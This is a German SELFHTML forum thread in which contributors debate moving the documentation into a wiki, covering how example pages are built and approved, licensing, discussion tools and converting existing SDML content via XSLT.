                            Verschiedene Glocken läuteten in der Stadt, und jede von ihnen vertrat eine ganz persönliche Meinung darüber, wann es Mitternacht war.
                            Terry Pratchett, "Wachen! Wachen!"
                            Veranstaltungsdatenbank Vdb 0.3
            2. Hallo Christian und Felix,

              ich glaube, ihr redet zumindest in einem Punkt aneinander vorbei.

              Diese Idee bietet eine kleine Kontrolle über die Inhalte an, da tatsächlich nur der Code in den Beispieldateien enthalten ist, der in der Doku an Ort und Stelle auch tatsächlich steht.

              Was meinst Du dazu?

              Halte ich für den Leser schon für zu kompliziert. Ich persönlich würde eher sowas in der folgenden Art bevorzugen:

              1. Im Wiki gibt man den Quelltext zur Beispielseite + evtl. zusätzliche
                    Dinge an.

              2. Jeder kann das bearbeiten, aber Defaultmäßig wird der Inhalt nicht als
                    HTML ausgeliefert.

              3. Bestimmte User haben die Möglichkeit, diese Beispiele "freizuschalten",
                    dann kann man sie auch anzeigen.

              4. Bei Edits an bereits freigeschalteten Beispielen wird der Zustand wieder
                    zurückgesetzt (d.h. man muss sie neu freischalten).

              5. Wenn ein User, der sowas freischalten darf, editiert, dann ist sofort
                    freigeschaltet.

              Der "Knackpunkt" scheint mir doch der zu sein, dass
              a) in der Doku/ auf der Wiki-Seite nur der_relevante_Beispiel-Code steht
              b) aber für die Anzeige selbigen ja auch noch der Rest (HTML-Grundgerüst) erforderlich ist

              Stellt sich die Frage, wo kommt dieser "Rest" her, wer und wo kann/ darf diesen erstellen/ bearbeiten?

              BTW: Das ist mir bei beiden Vorschlägen (noch) nicht ganz klar. Rein subjektiv hört sich Christians Vorschlag für mich bis jetzt "praktikabler/ einfacher" an.

              Gruß Gunther

              1. Hallo Gunther,

                Der "Knackpunkt" scheint mir doch der zu sein, dass
                a) in der Doku/ auf der Wiki-Seite nur der_relevante_Beispiel-Code steht
                b) aber für die Anzeige selbigen ja auch noch der Rest (HTML-Grundgerüst) erforderlich ist

                Nein, das ist *ein* Problem, was sich uns stellt und was wir sicher beantworten müssen, aber nicht *das* Problem, worauf ich in meinem Posting (und in meiner Antwort auf Stefan) eingegangen bin.

                Die Frage, die Du hier aufgeworfen hast, sollten wir natürlich auch klären, aber das sind zwei verschiedene paar Schuhe.

                Viele Grüße,
                Christian

                1. Hallo Christian,

                  Nein, das ist *ein* Problem, was sich uns stellt und was wir sicher beantworten müssen, aber nicht *das* Problem, worauf ich in meinem Posting (und in meiner Antwort auf Stefan) eingegangen bin.

                  OK! Ich hatte ja geschrieben, dass ich das (noch) nicht so richtig verstanden habe. Hat mich mein Eindruck zumindest nicht getäuscht. ;-)

                  Die Frage, die Du hier aufgeworfen hast, sollten wir natürlich auch klären, aber das sind zwei verschiedene paar Schuhe.

                  Na dann war es aber wenigstens doch in Teilen "produktiv".

                  Gruß Gunther

                  1. Hallo

                    Nein, das ist *ein* Problem, was sich uns stellt und was wir sicher beantworten müssen, aber nicht *das* Problem, worauf ich in meinem Posting (und in meiner Antwort auf Stefan) eingegangen bin.
                    OK! Ich hatte ja geschrieben, dass ich das (noch) nicht so richtig verstanden habe. Hat mich mein Eindruck zumindest nicht getäuscht. ;-)

                    Es geht um die Frage, ob Codebeispiele automatisch zu Beispielseiten werden sollen oder eben nicht. Man kann ja nicht wissen, wer da was einträgt.

                    Tschö, Auge

                    --
                    Verschiedene Glocken läuteten in der Stadt, und jede von ihnen vertrat eine ganz persönliche Meinung darüber, wann es Mitternacht war.
                    Terry Pratchett, "Wachen! Wachen!"
                    Veranstaltungsdatenbank Vdb 0.3
          2. Hallo Felix,

            In der Doku wird ein Code-Beispiel vorgeführt. Dieses Code-Beispiel enthält einen Dateinamen und allen Code, um eine Beispieldatei darzustellen. Die Wiki-Software "erkennt", dass hier ein vollständiges Dokument (oder eine Gruppe solcher) vorliegt und [...]

            Das ist so bei einigen Beispielen gar nicht erst möglich. Man denke nur an das Auslagern von JavaScript in JS-Dateien, das Einbinden von Bildern oder gar Java-Applets. Das alles ins Wiki zu packen wäre nicht angemessen.

            IMHO bräuchten wir etwas ganz simples. Ich stelle mir das so vor dass der Benutzer die Dateien in einer bestimmten Form hochlädt (beispielsweise auf FTP, ist besser als ZIP) und diese dann von jemandem geprüft und freigeschaltet werden.

            Grüße

            Marc Reichelt || http://www.marcreichelt.de/

            --
            DPRINTK("Last time you were disconnected, how about now?");
                    linux-2.6.6/drivers/net/tokenring/ibmtr.c
            Selfcode: ie:{ fl:| br:> va:} ls:< fo:} rl:( n4:( ss:) de:> js:| ch:? sh:| mo:) zu:)
            1. Lieber Marc,

              In der Doku wird ein Code-Beispiel vorgeführt. Dieses Code-Beispiel enthält einen Dateinamen und allen Code, um eine Beispieldatei darzustellen. Die Wiki-Software "erkennt", dass hier ein vollständiges Dokument (oder eine Gruppe solcher) vorliegt und [...]

              Das ist so bei einigen Beispielen gar nicht erst möglich. Man denke nur an das Auslagern von JavaScript in JS-Dateien, das Einbinden von Bildern oder gar Java-Applets. Das alles ins Wiki zu packen wäre nicht angemessen.

              wahrscheinlich hast Du recht. Aber schau Dir doch einmal folgendes an:

              <<code>>
              --datei test.html--
              <html>
                  <head>
                      <title>Test</title>
                      <script type="text/javascript" src="beispiel.js"></script>
                      <link rel="stylesheet" type="text/css" href="layout.css" />
                  </head>
                  <body onload="machwas()">
                      <h1>Test</h1>
                      <p>Hier geht was ab! <img src="smiley.gif" alt="Smile!" /></p>
                  </body>
              </html>

              --datei beispiel.js--
              window.onload=machwas;
              function machwas() {
                  alert("Seite fertig geladen");
              }

              --datei layout.css--
              h1 { color: red; }
              p { border: 1px solid green; }

              --datei smiley.gif--
              gif;base64,
              R0lGODlhmwDFAPcAAAAAAAEBAQICAgMDAwQEBAUFBQYGBgcHBwgICAkJCQoKCgsLCwwMDA0N
              DQ4ODg8PDxAQEBERERISEhMTExQUFBUVFRYWFhcXFxgYGBkZGRoaGhsbGxwcHB0dHR4eHh8f
              HyAgICEhISIiIiMjIyQkJCUlJSYmJicnJygoKCkpKSoqKisrKywsLC0tLS4uLi8vLzAwMDEx
              ... (nach Art einer Inline-Grafik)
              <</code>>

              Wenn das Modul einen solchen Code-Block findet, "erkennt" es vier Dateien, die es dann entsprechend als Beispielseite zusammenbauen kann. In den Referenzen müsste das Modul dann entsprechend Parameter einbauen, damit es bei den referenzierten Dateien "weiß", welche Inhalte wo stehen müssen.

              Ich bin nach wie vor noch nicht davon überzeugt, dass das unmöglich sein sollte - auch unter Berücksichtigung von wichtigen Sicherheitsbedenken. Und was diesen Inline-Grafik-Code angeht, so kann man ja ein Upload-Feature anbieten, das die Zeichenketten entsprechend für copy&paste ausgibt, wenn man keine "echten" Dateiuploads hosten will. Das zwingt User auch, kleine Bilddateien zu verwenden...

              Liebe Grüße,

              Felix Riesterer.

              --
              ie:% br:> fl:| va:) ls:[ fo:) rl:° n4:? de:> ss:| ch:? js:) mo:} zu:)
              1. Hallo Felix,

                Ich bin nach wie vor noch nicht davon überzeugt, dass das unmöglich sein sollte

                Nein, sowas wäre durchaus möglich, habe ich nie bestritten, halte ich aber für Binärdateien für unpraktikabel (und absolut nicht intuitiv). Man könnte sich vielleicht überlegen, irgend eine Kombilösung zu haben für Binär- und Textdateien: Textdateien direkt eingeben (mit speziellen Codes die angeben welcher Ausschnitt angezeigt werden soll) und Binärdateien per Upload. Oder irgendwie sowas.

                Ändert aber nichts an der Tatsache, dass sowas dann dennoch extra freigeschaltet werden müsste.

                Daher vielleicht hier mal die Frage in den Raum: Wie könnte das User-Interface-mäßig so gelöst sein, dass es intuitiv bedienbar ist und auch noch praktisch benutzbar ist?

                Kriterien:

                * Textdateien: Eingabe direkt in der Wiki-Seite, mehrere Dateien für
                   ein Beispiel möglich
                 * Binärdateien: Upload separat
                      - was ist bei großen JS-Dateien die z.B. eine Lib bereitstellen
                        wie jQuery? (Wenn wir z.B. einen Tipp mit jQuery anbieten wollen)
                        Auch separates Hochladen?
                 * Zuordnung soll möglich sein (Referenzen)
                 * Freischalten nötig falls dem User noch nicht vertraut wird

                Mir geht's hier wirklich nur um die reine Bedienung, aber eben unter den obigen Voraussetzungen.

                wenn man keine "echten" Dateiuploads hosten will.

                Nochmal, weil ich den Eindruck habe, dass Du meine Sicherheitsbedenken immer noch nicht verstanden hast: Gegen Uploadfelder an sich habe ich doch nichts - die Frage ist nur, was *nach* dem Upload mit den Daten passiert. Ob Du was in ein Textfeld eingibst und es dann 1:1 ausgeliefert wird oder ob Du's zuerst in ein Upload-Feld stecken musst, hat mit der Auslieferung nichts zu tun.

                Viele Grüße,
                Christian

                1. Hi,

                  - was ist bei großen JS-Dateien die z.B. eine Lib bereitstellen
                          wie jQuery? (Wenn wir z.B. einen Tipp mit jQuery anbieten wollen)
                          Auch separates Hochladen?

                  Die gängigen Libs könnte das System/der Server zentral bereithalten, so dass sie nur noch vom entsprechenden Ort eingebunden werden müssen.

                  (Man könnte auch gleich die Vorgabe machen, dass Sachen wie jQuery aus dem Repository von Google eingebunden werden. Wobei damit die Datenkrake dann auch wieder die SELF-User mehr beschnüffeln könnte - also vielleicht doch lieber eigene „Versionen“ davon anbieten.)

                  MfG ChrisB

                  --
                  “Whoever best describes the problem is the person most likely to solve the problem.” [Dan Roam]
                  1. (Man könnte auch gleich die Vorgabe machen, dass Sachen wie jQuery aus dem Repository von Google eingebunden werden. Wobei damit die Datenkrake dann auch wieder die SELF-User mehr beschnüffeln könnte - also vielleicht doch lieber eigene „Versionen“ davon anbieten.)

                    Weil wir grade dabei sind: gibts ein vernünftiges (kostenloses, schnelles, zuverlässiges, werbefreies) CDN für jQuery und jQuery UI ausserhalb der Google-Welt? :)

                2. Hallo!

                  Daher vielleicht hier mal die Frage in den Raum: Wie könnte das User-Interface-mäßig so gelöst sein, dass es intuitiv bedienbar ist und auch noch praktisch benutzbar ist?

                  Kriterien:

                  * Textdateien: Eingabe direkt in der Wiki-Seite, mehrere Dateien für
                     ein Beispiel möglich
                  * Binärdateien: Upload separat
                        - was ist bei großen JS-Dateien die z.B. eine Lib bereitstellen
                          wie jQuery? (Wenn wir z.B. einen Tipp mit jQuery anbieten wollen)
                          Auch separates Hochladen?
                  * Zuordnung soll möglich sein (Referenzen)
                  * Freischalten nötig falls dem User noch nicht vertraut wird

                  Mir geht's hier wirklich nur um die reine Bedienung, aber eben unter den obigen Voraussetzungen.

                  wenn man keine "echten" Dateiuploads hosten will.

                  Ich könnte mir eine Art "Baukasten-Lösung" vorstellen.
                  Schritt 1: Auswahl des Doctypes (alle "gängigen" Doctypes zur Auswahl) per Drop-Down Liste
                  Schritt 2 (opt.): Auswahl einer bestimmten JS-Bib per Drop-Down Liste
                  Scritt 3: Eingabe des Titles
                  Schritt 4 (opt.): Eingabe von CSS-Styles und/ oder Auswahl von Standard-CSS Dateien per Drop-Down Liste
                  Schritt 5: Eingabe des HTML-Codes für das Beispiel (quasi alles zwischen <body> und </body>

                  Natürlich bedarf es eben aus Sicherheitsgründen einer Prüfung und Freischaltung.

                  Das stelle ich mir aber ansonsten noch halbwegs "benutzerfreundlich" vor.
                  Für besondere Fälle sollten aber auch Abweichungen von diesem System, zumindest "manuell" möglich sein [1].

                  Gruß Gunther

                  [1] durch speziell berechtigte User bspw.

      5. Hallo Stefan,

        • Unter welche Lizenz würdet ihr den Inhalt stellen? Wir finden, dass sich die Lizenz Creative Commons BY-SA gut eignen würde, sind aber offen für Neues.

        Die finde ich grundsätzlich in Ordnung. Es wird aber wahrscheinlich noch ein paar zusätzliche Vereinbarungen für Autoren geben müssen.

        An dieser Stelle muss ich kurz erwähnen, dass mir ein Fehler unterlaufen ist. Die im Chat vorgeschlagene Lizenz war BY-ND, nicht BY-SA. Wie auch immer: Ich vermute, dass wir um einige eigene Anpassungen nicht herumkommen werden. Schließlich wollen wir einen Wildwuchs vermeiden und auch ein Buch soll noch möglich sein.
        An welche zusätzliche Vereinbarungen hast du so gedacht?

        • Welche Diskussionsplattform ist euch am Liebsten? Ein CForum, das ans Wiki angeschlossen wird? In diesem (großen) Forum diskutieren? Oder eher eine Wiki-eigene Lösung (Diskussionsseiten)?

        Die Diskussionsseiten von MediaWiki sind ein einfaches, in den meisten Fällen ausreichendes Werkzeug, um sich redaktionell über Inhalte zugehöriger Seiten auszutauschen. Aber ein Diskussionsforum wie dieses hier ist damit nicht abbildbar.
        Es gab auch mal eine Thread-Forum-Extension für MediaWiki (weiß nicht, obs die noch gibt, und ob sie weiterentwickelt wurde), aber natürlich nicht vergleichbar mit den Features hier.

        Hier wurde von den anderen bereits der Vorschlag gemacht, das bestehende Forum (dieses Forum) um ein neues Thema zu erweitern und so zu verwenden. Für die Lemmata kann man dann immer noch die MediaWiki-Diskussionsseiten nutzen.

        Eine große Herausforderung an die Entwickler hier wäre es natürlich, selber mal eine Thread-Forum-Extension zu schreiben.

        Ich glaube das wird erst mal auf unbestimmte Zeit zurückgestellt. Wir haben uns schon des öfteren an einer eigenen Lösung versucht und daraus gelernt. ;-)

        • Generelle Vorgehensweise: Würdet ihr die Inhalte von SELFHTML 8.1.2 ins Wiki übertragen? Oder z. B. eher in Seiten von SELFHTML 8.1.2 Links zum Wiki einfügen, sobald dort neuere Inhalte vorliegen, und so für eine allmähliche Migration sorgen?

        Ich würde die Chance des Umstiegs nutzen, um auch die Doku anders und neu zu strukturieren. Das wird ohnehin nötig sein, denn wer sich mal etwas mit HTML5 beschäftigt, wird bald einsehen, dass es, wenn man das im Rahmen von SELFHTML ordentlich beschreiben will, nicht damit getan ist, hier und da eine Seite für ein neues Element oder Attribut zu spendieren. HTML5 stellt fast alles auf den Kopf. Das fängt bei der Strukturierung von Dokumenten mit sectioning-Content an, und geht über die zahlreichen neuen Script-APIs, die man kaum sinnvoll isoliert, also ohne JavaScript, beschreiben kann, und endet bei völlig neuen Ausrichtungen (weg von der "validierbaren Instanz eines generalisierten Markups" und hin zu einem Programmier-DOM im Markup-Gewand, freiere Elementverschachtelungen, Mischen von XHTML und HTML-Syntax usw.).

        Auch bei JavaScript sollte man finde ich nicht konvertieren, sondern eine neue, der Thematik aus heutiger Sicht gerecht werdende Aufteilung schaffen und noch verwertbare Inhalte händisch in die neue Struktur kopieren. Glaubt mir, wenn ihr nur konvertiert und dann anfangt, Kosmetik zu betreiben, werdet ihr kein zeitgemäßes SELFHTML schaffen, sondern wieder nur ein aufgebohrtes SELFHTML 8.x.

        Hier sprichst du mir aus der Seele. IMHO würden wir nur wieder sehr viel Zeit für das Übertragen der alten Inhalte verlieren, hätten die alte Struktur übernommen und danach immer noch nichts Neues, sondern nur ein 8.x im Wiki-Gewand.
        Außerdem haben wir uns für SELFHTML 9.x bereits eine schöne Struktur überlegt, die wir ja übernehmen können. So war unsere Arbeit daran auch nicht für umsonst.

        Perl würde ich ganz rausschmeißen. Das ist ein riesiger Brocken an fachlichem Know How, der aber im Web-Bereich kaum noch nachgefragt wird, und die Perl-Freaks haben ihre eigenen Quellen. Stattdessen würde ich serverseitiges Scripting zum einen im Zusammenhang mit Ajax-Beispielen bringen, und zum anderen verstärkt in Feature-Artikel auslagern, die einzelne Aspekte z.B. von PHP oder Java beleuchten.

        ACK wegen Perl. Wir können das Perl-Kapitel in 8.1.2 ja online lassen, aber es aus dem Wiki raushalten.

        Sinnvoller fände ich stattdessen mehr über HTTP. Gerade im Zusammenhang mit Ajax kommen viele Bastler erstmals tiefer in Berührung mit den Möglichkeiten des HTTP-Protokolls. Allerdings sollte man dabei nicht versäumen, auch schon mal nach neueren Sachen zu schielen, wie z.B. den Websockets.

        ACK. Du bist gerne dazu eingeladen, dazu Inhalte hinzuzufügen, sobald das Wiki online ist. Ich bin gespannt! :-)

        Mag sein, dass euch das jetzt alles zu viel auf einmal erscheint. Aber ohne einen Bruch mit der bisherigen Doku wird eben nur ein SELFHTML-8.x in Wiki-Form daraus, und das wird wieder (zu Recht) die Kritiker auf den Plan rufen.

        Wir hatten uns intern bereits vor geraumer Zeit dazu entschieden, SELFHTML 9 neu aufzubauen. Das war eben aber auch mit ein Grund dafür, dass es nicht voran gekommen ist.
        Vielleicht haben wir jetzt mit dem Wiki die Chance, Inhalte sukzessive hinzuzufügen und aus 8.x heraus darauf zu verlinken.

        Ich bin zuversichtlich, dass unser jetziger Versuch mehr Potential hat.

        Grüße

        Marc Reichelt || http://www.marcreichelt.de/

        --
        DPRINTK("Last time you were disconnected, how about now?");
                linux-2.6.6/drivers/net/tokenring/ibmtr.c
        Selfcode: ie:{ fl:| br:> va:} ls:< fo:} rl:( n4:( ss:) de:> js:| ch:? sh:| mo:) zu:)
        1. Hi Marc,

          Wir hatten uns intern bereits vor geraumer Zeit dazu entschieden, SELFHTML 9 neu aufzubauen. Das war eben aber auch mit ein Grund dafür, dass es nicht voran gekommen ist.
          Vielleicht haben wir jetzt mit dem Wiki die Chance, Inhalte sukzessive hinzuzufügen und aus 8.x heraus darauf zu verlinken.

          ich lese hier immer nur, dass von 8.x auf das Wiki verlinkt werden soll. Mir erscheint es durchaus sinnvoll, auch vom Wiki auf 8.x zu verlinken, und zwar genau bei dem folgenden Szenario:

          Im Wiki entsteht ein neuer Artikel, der auf Wissen zurückgreift, das im Wiki noch nicht erfasst ist, in 8.x aber schon.

          Um dem geneigten Leser den Wiki-Artikel verständlich zu machen, sollte eben das Zusatzwissen verlinkt werden.

          Habe ich euch alle bisher nur falsch verstanden (Fieberwahn sei Dank *hust, schnupf*) oder wurde das so noch nicht angedacht (weil es womöglich gar nicht sinnvoll ist)?

          Schönen Sonntag noch!
          O'Brien

          --
          Frank und Buster: "Heya, wir sind hier um zu helfen!"
          1. Hi!

            Im Wiki entsteht ein neuer Artikel, der auf Wissen zurückgreift, das im Wiki noch nicht erfasst ist, in 8.x aber schon.
            Um dem geneigten Leser den Wiki-Artikel verständlich zu machen, sollte eben das Zusatzwissen verlinkt werden.
            Habe ich euch alle bisher nur falsch verstanden (Fieberwahn sei Dank *hust, schnupf*) oder wurde das so noch nicht angedacht (weil es womöglich gar nicht sinnvoll ist)?

            Das kann jeder (Wiki-Autor) selbst machen. Wenn er es nicht macht, macht es eben jemand anderes. Die statische Version kann hingegen nur ein Redakteur ändern (und von denen vermutlich rechtebedingt noch nicht mal jeder).

            Lo!

        2. Perl würde ich ganz rausschmeißen. Das ist ein riesiger Brocken an fachlichem Know How, der aber im Web-Bereich kaum noch nachgefragt wird, und die Perl-Freaks haben ihre eigenen Quellen. Stattdessen würde ich serverseitiges Scripting zum einen im Zusammenhang mit Ajax-Beispielen bringen, und zum anderen verstärkt in Feature-Artikel auslagern, die einzelne Aspekte z.B. von PHP oder Java beleuchten.

          ACK wegen Perl. Wir können das Perl-Kapitel in 8.1.2 ja online lassen, aber es aus dem Wiki raushalten.

          Einspruch, und zwar nicht wegen Perl, sondern wegen Technik XY.

          Mein Argument. Eine Technik ist in SelfHTML so berechtigt, wie sich ein ausreichend starkes Team findet, diese Technik zu dokumentieren.

          Die einzige Möglichkeit, dies zu erfahren, ist das WIKI.

          Konkret zu Perl: Tatsächlich muss man sich fragen, ob man Perl noch zum Kern der Dokumentation zählen darf. Meines Erachtens braucht es für Perl eher Fachartikel zu typischen Anwendungen.
          Das führt mich aber zur Frage, inwiefern Fachartikel ebenfalls das WIKI als Entwicklungsebene nutzen könnten?
          Die alten perlseiten würde ich nicht rumschleppen. Im Gegenteil wäre es spannend zu sehen, ob das WIKI Kräfte bündelt, dass ein neuer Formmailer für Perl dokumentiert werden kann.
          Ebenfalls denkbar wären Reguläre Expressions als Sprachübergreifende Artikelserie, wobei dann auch Platz für modernere Anwendungen der REs besteht.

          mfg Beat

          --
          ><o(((°>           ><o(((°>
             <°)))o><                     ><o(((°>o
          Der Valigator leibt diese Fische
    7. Hi!

      • Generelle Vorgehensweise: Würdet ihr die Inhalte von SELFHTML 8.1.2 ins Wiki übertragen? Oder z. B. eher in Seiten von SELFHTML 8.1.2 Links zum Wiki einfügen, sobald dort neuere Inhalte vorliegen, und so für eine allmähliche Migration sorgen?

      Nochmal konkret gefragt: Welche Migrationstools sind denn schon vorhanden, was konvertieren sie woher und wohin, und wie gut arbeiten sie?

      Lo!

      1. Hallo dedlfix,

        Nochmal konkret gefragt: Welche Migrationstools sind denn schon vorhanden, was konvertieren sie woher und wohin, und wie gut arbeiten sie?

        Zwischenablage. Wahlweise Nur-Text, Richtext oder Grafik. Von einer geöffneten Anwendung in eine andere. Leidlich.

        *scnr*

        viele Grüße
        Stefan Münz

        1. Hi!

          Nochmal konkret gefragt: Welche Migrationstools sind denn schon vorhanden, was konvertieren sie woher und wohin, und wie gut arbeiten sie?

          Zwischenablage. Wahlweise Nur-Text, Richtext oder Grafik. Von einer geöffneten Anwendung in eine andere. Leidlich.

          Die gibt es immer, aber ich meinte jetzt eher sowas (erster Absatz).

          Lo!

      2. Hallo dedlfix,

        • Generelle Vorgehensweise: Würdet ihr die Inhalte von SELFHTML 8.1.2 ins Wiki übertragen? Oder z. B. eher in Seiten von SELFHTML 8.1.2 Links zum Wiki einfügen, sobald dort neuere Inhalte vorliegen, und so für eine allmähliche Migration sorgen?

        Nochmal konkret gefragt: Welche Migrationstools sind denn schon vorhanden, was konvertieren sie woher und wohin, und wie gut arbeiten sie?

        Wir haben eine konvertierte Version von SELFHTML 8.1.x in SDML. Das kann man von einem XML-Parser relativ problemlos nach Wiki-Sytanx konvertieren (halber Nachmittag Arbeit für mich) - bleibt jedoch die Frage, ob wir das wollen...

        Allerdings: Dann muss bereits feststehen, *wie* die Wiki-Syntax für Beispiele, Browsersupport etc. konkret aussieht.

        Viele Grüße,
        Christian

        1. Hi!

          Wir haben eine konvertierte Version von SELFHTML 8.1.x in SDML. Das kann man von einem XML-Parser relativ problemlos nach Wiki-Sytanx konvertieren (halber Nachmittag Arbeit für mich) - bleibt jedoch die Frage, ob wir das wollen...

          Wenn wir den zweigeteilten Weg HTML4(XHTML1) vs. HTML5 gehen, dann denke ich kann man die relevanten Teile daraus als Grundlage für den HTML4-Teil nehmen.

          Allerdings: Dann muss bereits feststehen, *wie* die Wiki-Syntax für Beispiele, Browsersupport etc. konkret aussieht.

          Ja, ohne Zielformat geht's nicht.

          Was war mit dem HTML-DTD-zu-Referenz-Tool? Was macht das? Auch XML oder SDML, das man ins Zielformat XSLTen kann?

          Lo!

          1. Hallo dedlfix,

            Was war mit dem HTML-DTD-zu-Referenz-Tool? Was macht das? Auch XML oder SDML, das man ins Zielformat XSLTen kann?

            Jain. Das funktioniert im Moment so:

            1. Mittels Trang
             werden alle 3 DTDs von XHTML 1.0 zu RelaxNG (in der XML-
                Notation) umgewandelt.

            2. Mittels eines XSLTs wird das RelaxNG-Schema vereinfacht
                (erleichtert die Verarbeitung)

            3. Ein weiteres XSLT verarbeitet zeitgleich alle 3 XML-Dateien sowie eine
                weitere XML-Datei mit Beschreibungstexten sowie Linkzielen und generiert
                das Referenz-HTMl-Dokument.

            Als ASCII-Art:

            +-------------------+  +-------------------------+  +---------------------+
              | xhtml1-strict.dtd |  | xhtml1-transisional.dtd |  | xhtml1-frameset.dtd |
              +-------------------+  +-------------------------+  +---------------------+
                      |                            |                          |
                    Trang                        Trang                      Trang
                      |                            |                          |
                      v                            v                          v
              +-------------------+  +-------------------------+  +---------------------+
              | xhtml1-strict.rng |  | xhtml1-transisional.rng |  | xhtml1-frameset.rng |
              +-------------------+  +-------------------------+  +---------------------+
                      |                            |                          |
                Simplifier-XSL               Simplifier-XSL             Simplifier-XSL
                      |                            |                          |
                      v                            v                          v
              +-------------------+  +-------------------------+  +---------------------+
              | xhtml1-strict.xml |  | xhtml1-transisional.xml |  | xhtml1-frameset.xml |
              +-------------------+  +-------------------------+  +---------------------+
                      |                            |                          |
                      |        ___________________/                          /
                      |       /                                             /
                      |       |         ___________________________________/
                      |       |        /
                      |       |        |               +-----------------------------+
                      v       v        v               | XML mit Beschreibungstexten |
                 +---------------------------+         | und Linkzielen in der Doku  |
                 |     Generier-XSLT         |<--------|                             |
                 +---------------------------+         |                             |
                              |                        +-----------------------------+
                              |                                     ^
                              v                                     |
                    +---------------------+            +-----------------------------+
                    | html-auto-ref.html  |            | Sammel-XSLT, was Metadaten  |
                    +---------------------+            | aus den einzelnen SDML-     |
                                                       | Seiten extrahiert und auto- |
                                                       | matisch die Herkunft mit    |
                                                       | vermerkt.                   |
                                                       +-----------------------------+
                                                                    ^
                                                                    |
                                                         +------------------+
                                                         | Alle SDML-Seiten |
                                                         +------------------+

            Die Idee dahinter ist: Man schreibt an der Stelle, wo man z.B. <img> beschreibt ins SDML folgendes rein:

             <pageunit name="einbinden">  
               <index>   <!-- das sind die Metadaten -->  
                  <element name="img">  
                     <!-- Summary nur aufgeführt, wenn das Element selbst hier  
                          erklärt wird -->  
                     <summary>Bindet ein Bild ein.</summary>  
                     <!-- Nur die Attribute aufführen, die in diesem Abschnitt  
                          erklärt werden -->  
                     <attribute name="src">Die Quelle des Bildes.</attribute>  
                  </element>  
               </index>  
               <heading>Bilder einbinden</heading>  
               <p>...</p>  
             </pageunit>  
             <pageunit name="groesse">  
               <index>  
                 <element name="img">  
                    <attribute name="width">Die Breite des Bildes in Pixeln.</attribute>  
                    <attribute name="height">Die Höhe des Bildes in Pixeln.</attribute>  
                 </element>  
               </index>  
               <heading>Bildgröße angeben</heading>  
               <p>...</p>  
             </pageunit>
            

            Das Sammel-XSLT extrahiert dann folgende Informationen:

            - Element <img> wird erklärt in Datei irgendwas.xml, Anker #einbinden
                    Beschreibung: "Bindet ein Bild ein."
              - Attribut img.href wird erklärt in Datei irgendwas.xml, Anker #einbinden
                    Beschreibung: "Die Quelle des Bildes."
              - Attribut img.width wird erklärt in Datei irgendwas.xml,Anker #groesse
                    Beschreibung: "Die Breite des Bildes in Pixeln."
              - Attribut img.height wird erklärt in Datei irgendwas.xml,Anker #groesse
                    Beschreibung: "Die Höhe des Bildes in Pixeln."

            Das wird als XML gespeichert und dann zusammen mit den automatisch aus den DTDs generierten Metadaten vom Generier-XSLT zur Referenz verwurstet.

            ----------------------------------------------------------------------------

            Anwendbarkeit aufs Wiki:

            Das Generier-XSLT kann man jetzt natürlich auch so umstellen, dass es Wiki-Syntax statt HTML produziert und damit die Referenz im Wiki ebenfalls generieren lassen. Die entsprechende Sammel-Phase muss natürlich stark angepasst werden, weil die Infos jetzt aus dem Wiki extrahiert werden müssen.

            Und für beides muss das Format, in dem im Wiki Daten eingegeben werden, stehen: Für die Metadaten für's Sammeln der Infos und für die spätere Ausgabe dann.

            Viele Grüße,
            Christian

            --
            Mein "Weblog" [RSS]
            Using XSLT to create JSON output (Saxon-B 9.0 for Java)
            »I don't believe you can call yourself a web developer until you've built an app that uses hyperlinks for deletion and have all your data deleted by a search bot.«
                        -- Kommentar bei TDWTF
        2. bleibt jedoch die Frage, ob wir das wollen...

          Gegenfrage: gibt es einen triftigen Grund es nicht zu wollen?

          Allerdings: Dann muss bereits feststehen, *wie* die Wiki-Syntax für Beispiele, Browsersupport etc. konkret aussieht.

          Dafür sind Vorlagen nötig - die Erstellung selbst ist nicht so schwierig, nur müsste halt gemacht werden.

          Hausaufgabe daher:

          Alle Bausteine die sich nicht mit blanker Wikisyntax umsetzen lassen aufschreiben und nachbauen bevor man loslegt.

          Darunter fällt vermutlich inline-Code (das code-Element, Zitate (inline und block), abweichende Sprache, Browsersupport, diverse generische Infokästen "hinweis", "warnung" usw.

          1. Hallo,

            bleibt jedoch die Frage, ob wir das wollen...

            Gegenfrage: gibt es einen triftigen Grund es nicht zu wollen?

            Wurde schon mehrfach erwähnt: Das wurde damals im Rahmen der SDML-Geschichte gemacht, um von der alten Struktur, die teils veraltet war, loszukommen. Wir haben ja wie gesagt eine komplette SELFHTML-8.x-Version, die ich mal nach SDML konvertiert habe (vor Ewigkeiten).

            Alle Bausteine die sich nicht mit blanker Wikisyntax umsetzen lassen aufschreiben und nachbauen bevor man loslegt.

            Ja, schon klar. :)

            Viele Grüße,
            Christian

    8. Hallo,

      Um es kurz zu fassen: Wir halten ein Wiki durchaus für eine gute Sache. Die Vorteile liegen klar auf der Hand: Jeder kann mitmachen, wenn er möchte, neue Einträge werden ohne Umwege über eine Redaktion publiziert und die Einarbeitung in das Wiki sollte wesentlich schneller möglich sein als in unsere bestehende SDML-Infrastruktur. Natürlich ist ein Wiki nicht perfekt, vor allem da SELFHTML-spezifische Erweiterungen fehlen. Diese können aber später ergänzt werden sobald eine kritische Masse erreicht ist.

      wäre es nicht sinnvoller, parallel zu der Dokumentation ein Wiki aufzuziehen, und in der Dokumentation zu jedem Bereich, der über einen Anker erreichbar ist, einen Verweis zum entsprechenden Wiki zu setzen?

      Die Dokumentation bleibt damit unberührt und stellt redaktionell der Weisheit letzten Schluss zu einem Thema dar.
      Die Vorteil lägen dabei, dass Euch die redaktionelle Arbeit durch Diskussionen und Beiträge erleichter würden. Möglicher Vandalismus fände dann nicht direkt in der Dokumentation statt.

      Ich halte dies für den Mittelweg, der die Qualität von SelfHTML hundertprozentig garantiert, Euch aber einiges an Arbeit abnimmt.

      Gruß aus Berlin!
      eddi

      1. Hallo Edgar,

        wäre es nicht sinnvoller, parallel zu der Dokumentation ein Wiki aufzuziehen, und in der Dokumentation zu jedem Bereich, der über einen Anker erreichbar ist, einen Verweis zum entsprechenden Wiki zu setzen?

        Die Dokumentation bleibt damit unberührt und stellt redaktionell der Weisheit letzten Schluss zu einem Thema dar.
        Die Vorteil lägen dabei, dass Euch die redaktionelle Arbeit durch Diskussionen und Beiträge erleichter würden. Möglicher Vandalismus fände dann nicht direkt in der Dokumentation statt.

        Ich halte dies für den Mittelweg, der die Qualität von SelfHTML hundertprozentig garantiert, Euch aber einiges an Arbeit abnimmt.

        Genau dies - eine sanfte Migration - war auch mein Vorschlag. Nur anders formuliert. ;-)
